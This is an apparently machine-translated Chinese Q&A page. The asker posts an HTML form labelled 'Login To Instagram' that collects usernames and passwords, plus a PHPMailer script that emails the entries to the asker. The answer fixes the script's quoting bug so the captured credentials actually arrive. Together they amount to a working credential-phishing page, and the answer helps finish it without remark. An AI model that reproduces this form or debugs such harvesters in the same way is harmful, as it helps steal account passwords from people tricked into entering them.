使用PHP

时间:2016-12-22 19:31:21

标签: javascript php html forms email

我收到了发送到正确电子邮件的电子邮件,但是他们发送了这封电子邮件。

电子邮件:$ email
用户名:$ username
密码:$密码
确认密码:$ cpassword
Hasgtags:$ hashtags

它不发送表单中的数据。这是我的代码:



<form action="PHPMailer/gmail.php" method="POST">
<div class="form-style-8">
	<span class="close">&times;</span>
   <label for="mail">E-mail:</label>
   <input type="email" id="mail" name="email"/>
</div>  
<div>
  <label for="msg">Username:</label><br>
  <input id="user" name="username"></textarea>
</div>    
<div>
  <label for="msg">Password:</label><br>
  <input type="password" id="pass" name="password"></textarea>
</div>    
<div>
  <label for="msg">Confirm Password:</label><br>
  <input type="password" id="pass" name="cpassword"></textarea>
</div>    
<div>
  <label for="msg">3 Hashtags:</label><br>
  <input id="tags" name="hashtags"></textarea>
</div>
<div>
	<input id="submit" type="submit" name="submit" value="Login To Instagram">
</div>
	</form>
&#13;
&#13;
&#13;

PHP 代码在这里:

&#13;
&#13;
<?php
require 'PHPMailerAutoload.php';

$mail = new PHPMailer;
$email = $_POST['email'];
$username = $_POST['username'];
$password = $_POST['password'];
$cpassword = $_POST['cpassword'];
$hashtags = $_POST['hashtags'];

//$mail->SMTPDebug = 3;                               // Enable verbose debug output
$mail->IsSMTP();
$mail->Host = 'My Host Name Here';  					  // Specify main and backup SMTP servers
$mail->SMTPAuth = true;                               // Enable SMTP authentication
$mail->Username = 'My SMTP Username';                 // SMTP username
$mail->Password = 'My SMTP Password';                           // SMTP password
$mail->SMTPSecure = 'tls';                            // Enable TLS encryption, `ssl` also accepted
$mail->Port = 25;                                    // TCP port to connect to

$mail->setFrom('myemailhere', 'mynamehere');
$mail->addAddress('$email', 'Customer');     // Add a recipient
//$mail->addReplyTo('info@example.com', 'Information');
$mail->addCC('myemailhere');
$mail->addBCC('$email');

//$mail->addAttachment('/var/tmp/file.tar.gz');         // Add attachments
//$mail->addAttachment('/tmp/image.jpg', 'new.jpg');    // Optional name
$mail->isHTML(true);                                  // Set email format to HTML

$mail->Subject = 'Subject';
$mail->Body    = 'Email: $email <br> Username: $username <br> Password: $password <br> Confirm Password: $cpassword <br> Hasgtags: $hashtags';
$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

if(!$mail->send()) {
    echo 'Message could not be sent.';
    echo 'Mailer Error: ' . $mail->ErrorInfo;
} else {
    echo 'Message has been sent';
}
&#13;
&#13;
&#13;

我只是想从表单中收集数据进入php,这样它就可以通过电子邮件向我发送表单信息。感谢

1 个答案:

答案 0 :(得分:3)

您使用过单引号。单引号内的变量不会被解析。

这将有效:

$mail->Body    = "Email: $email <br> Username: $username <br> Password: $password <br> Confirm Password: $cpassword <br> Hasgtags: $hashtags";